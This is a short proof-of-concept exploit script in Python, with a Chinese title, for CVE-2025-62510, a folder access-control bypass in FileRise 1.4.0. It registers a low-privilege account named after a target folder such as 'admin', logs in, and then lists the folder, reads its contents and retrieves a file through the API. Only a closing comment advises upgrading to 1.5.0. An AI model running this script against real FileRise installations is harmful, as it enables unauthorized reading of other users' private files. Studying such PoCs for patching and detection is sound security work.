CVE-2025-62510 FileRise文件夹访问控制绕过漏洞

# CVE-2025-62510 - FileRise Folder Access Control Bypass PoC # This PoC demonstrates how a low-privilege user can access folders # by matching their username to the folder name in FileRise 1.4.0 import requests TARGET_URL = "http://target-filerise-instance.com" # Step 1: Create a low-privilege account whose username matches # the target folder name (e.g., "admin" or a known folder owner) username = "admin" # Match this to the target folder name password = "AttackerPass123!" session = requests.Session() # Step 2: Register the malicious low-privilege user register_data = { "username": username, "password": password, "role": "user" # Low-privilege role } session.post(f"{TARGET_URL}/api/register", data=register_data) # Step 3: Login with the crafted account login_data = { "username": username, "password": password } session.post(f"{TARGET_URL}/api/login", data=login_data) # Step 4: List folders - the folder matching the username will be visible # due to the flawed name-based access control logic response = session.get(f"{TARGET_URL}/api/folders") print("[+] Folder list response:", response.json()) # Step 5: Access the folder contents that should not be accessible response = session.get(f"{TARGET_URL}/api/folder/{username}/contents") print("[+] Folder contents:", response.json()) # Step 6: Read files within the unauthorized folder response = session.get(f"{TARGET_URL}/api/folder/{username}/file/secret.txt") print("[+] File content:", response.text) # Note: In FileRise 1.5.0+, explicit per-folder ACLs are enforced, # and username matching no longer grants access. Upgrade to 1.5.0+.